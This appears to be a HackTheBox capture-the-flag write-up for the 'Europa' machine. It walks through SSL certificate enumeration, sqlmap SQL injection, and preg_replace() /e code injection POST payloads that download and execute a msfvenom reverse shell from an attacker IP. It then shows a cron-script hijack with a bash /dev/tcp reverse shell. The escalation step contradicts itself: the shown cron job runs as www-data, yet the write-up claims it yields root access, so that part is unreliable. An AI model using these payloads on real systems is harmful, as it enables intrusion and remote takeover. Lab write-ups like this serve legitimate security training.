Europa - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Europa presents a medium-difficulty challenge that teaches uncommon enumeration techniques and attack vectors. The machine hosts a hidden admin portal discovered through SSL certificate enumeration, which is vulnerable to SQL injection. Exploitation leads to a PHP-based tools page vulnerable to the dangerous preg_replace() function with the /e modifier, allowing remote code execution. Privilege escalation is achieved by exploiting a world-writable cron job script directory. This machine emphasizes the importance of thorough certificate analysis and understanding legacy PHP vulnerabilities.

TL;DR: SSL certificate enumeration → SQL injection login bypass → preg_replace() RCE → Cron job script hijacking → Root access

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.22

Results:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
443/tcp open  ssl/http Apache httpd 2.4.18
80/tcp  open  http     Apache httpd 2.4.18

Both HTTP and HTTPS services are present on the target. Initial browsing to either port displays the default Ubuntu Apache installation page with no obvious attack surface.

Service Enumeration

Initial Web Reconnaissance

Standard directory and file fuzzing against the default Apache pages yields no results. The absence of discoverable content combined with the presence of SSL suggests virtual hosting or certificate-based enumeration is necessary.

SSL Certificate Analysis

Using sslyze to examine the SSL certificate reveals critical information:

sslyze --regular 10.10.10.22

Certificate Details:

Subject Alternative Name (SAN):
  - www.europacorp.htb
  - admin-portal.europacorp.htb

These hostnames must be added to /etc/hosts for proper DNS resolution:

echo "10.10.10.22 www.europacorp.htb admin-portal.europacorp.htb" >> /etc/hosts

Browsing to https://admin-portal.europacorp.htb reveals a login page requiring credentials.

Vulnerability Assessment

Initial Foothold

Exploitation Path

Step 1: SQL Injection Authentication Bypass

The login form is vulnerable to SQL injection through both the email and password parameters. Using sqlmap to automate exploitation:

sqlmap -u "https://admin-portal.europacorp.htb/login.php" \
  --data "email=admin@europacorp.htb&password=" \
  --risk=3 \
  --level=3 \
  --dbms "MYSQL" \
  --dump-all

This extracts:

Database: admin
Table: users

| ID | Email                  | Password (MD5)                   |
|----|------------------------|----------------------------------|
| 1  | admin@europacorp.htb   | 0e807e7f1c1a8f3c8b2e3f5d9a4c6b8e |

The MD5 hash can be cracked using online resources (hashkiller.co.uk, crackstation.net) or a local dictionary attack. Successfully logging in grants access to the admin panel.

Step 2: Exploiting preg_replace() with /e Modifier

Upon accessing the admin panel, a “tools” page is discovered that appears to replace all occurrences of ip_address with user-supplied input. Examining POST data in Burpsuite reveals a pattern parameter:

POST /tools.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

pattern=<PATTERN>&ipaddress=<IP>&text=<TEXT>

The vulnerability lies in how this pattern is processed—specifically, the application uses PHP’s preg_replace() function with the deprecated /e modifier, which evaluates the replacement as PHP code.

Step 3: Remote Code Execution via preg_replace()

Reference: MadIrish - preg_replace() Code Injection

First, generate a PHP reverse shell using msfvenom:

msfvenom -p php/meterpreter/reverse_tcp \
  lhost=10.10.14.5 \
  lport=4444 \
  -f raw > shell.php

Set up an HTTP server to host the shell:

python3 -m http.server 8080

Craft the payload to download and execute the shell. Send the following POST request (via Burpsuite or curl):

POST /tools.php HTTP/1.1
Host: admin-portal.europacorp.htb
Content-Type: application/x-www-form-urlencoded

pattern=/^(.*)/e&ipaddress=system(`wget http://10.10.14.5:8080/shell.php -P /tmp`)&text=test

This downloads the shell to /tmp/shell.php. Execute it with:

POST /tools.php HTTP/1.1
Host: admin-portal.europacorp.htb
Content-Type: application/x-www-form-urlencoded

pattern=/^(.*)/e&ipaddress=system(`php -f /tmp/shell.php`)&text=test

Alternatively, as a one-liner:

curl -k -X POST 'https://admin-portal.europacorp.htb/tools.php' \
  --data "pattern=/^(.*)/e&ipaddress=system(\`wget http://10.10.14.5:8080/shell.php -P /tmp && php -f /tmp/shell.php\`)&text=test"

A reverse shell is established with www-data privileges.

Privilege Escalation

Step 1: Enumeration with LinEnum

Upload and execute LinEnum to gather system information:

# From attacker machine
python3 -m http.server 8080

# From target (as www-data)
wget http://10.10.14.5:8080/LinEnum.sh -P /tmp
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh

Key findings from LinEnum output:

# /etc/crontab entry
* * * * * www-data /usr/bin/php /var/www/cronjobs/clearlogs.php

# Inspecting clearlogs.php
cat /var/www/cronjobs/clearlogs.php
# Contents show execution of: /var/www/cmd/logcleared.sh

# Check directory permissions
ls -la /var/www/cmd/
# drwxrwxr-x 2 www-data www-data ... cmd
# logcleared.sh does not exist, but directory is writable by www-data

Step 2: Cron Job Script Hijacking

The cron job runs /var/www/cmd/logcleared.sh as www-data, but the script doesn’t exist. Since /var/www/cmd/ is writable by www-data, we can create the script ourselves:

cat > /var/www/cmd/logcleared.sh << 'EOF'
#!/bin/bash
cat /root/root.txt > /tmp/root_flag.txt
chmod 644 /tmp/root_flag.txt
EOF

chmod +x /var/www/cmd/logcleared.sh

Wait for the next cron execution (runs every minute):

sleep 65
cat /tmp/root_flag.txt

Alternatively, for a reverse shell as root:

cat > /var/www/cmd/logcleared.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/5555 0>&1
EOF

chmod +x /var/www/cmd/logcleared.sh

Then listen on the attacker machine:

nc -lvnp 5555

Attack Chain Summary

SSL Certificate Enumeration (sslyze)
    ↓
Virtual Host Discovery (admin-portal.europacorp.htb)
    ↓
SQL Injection (Login Bypass)
    ↓
Admin Panel Access
    ↓
preg_replace() /e Modifier Exploitation
    ↓
Remote Code Execution (www-data shell)
    ↓
System Enumeration (LinEnum)
    ↓
Cron Job Script Hijacking (/var/www/cmd/logcleared.sh)
    ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• SSL certificate enumeration using sslyze to extract virtual host information
• SQL injection for authentication bypass and database dumping
• Legacy PHP vulnerability exploitation - dangerous preg_replace() function with /e modifier
• Cron job analysis for identifying privilege escalation vectors
• Writable directory exploitation for achieving unintended code execution
• Reverse shell techniques and meterpreter payload usage
• HTTP-based file delivery during exploitation chains

Lessons Learned

1. SSL certificates contain valuable metadata — Always examine certificate Subject Alternative Names (SANs) when web enumeration yields no results.

2. PHP’s preg_replace() with /e is dangerous — The /e modifier evaluates the replacement string as PHP code. This modifier has been deprecated since PHP 5.5.0 and removed in PHP 7.0.0, but legacy systems may still use it.

3. SQL injection remains prevalent — Even simple login forms without parameterized queries are vulnerable. Always use parameterized queries and prepared statements.

4. Cron jobs represent privilege escalation risks — Non-existent scripts in cron jobs can be exploited if their parent directories are world-writable or owned by unprivileged users.

5. File permissions matter — The /var/www/cmd/ directory’s write permissions were the critical vulnerability. Proper permission management (0755 instead of 0775) would have prevented exploitation.

6. Defense in depth requires multiple layers — Even with a web application firewall, SQL injection, code injection, and file permission issues would collectively lead to compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>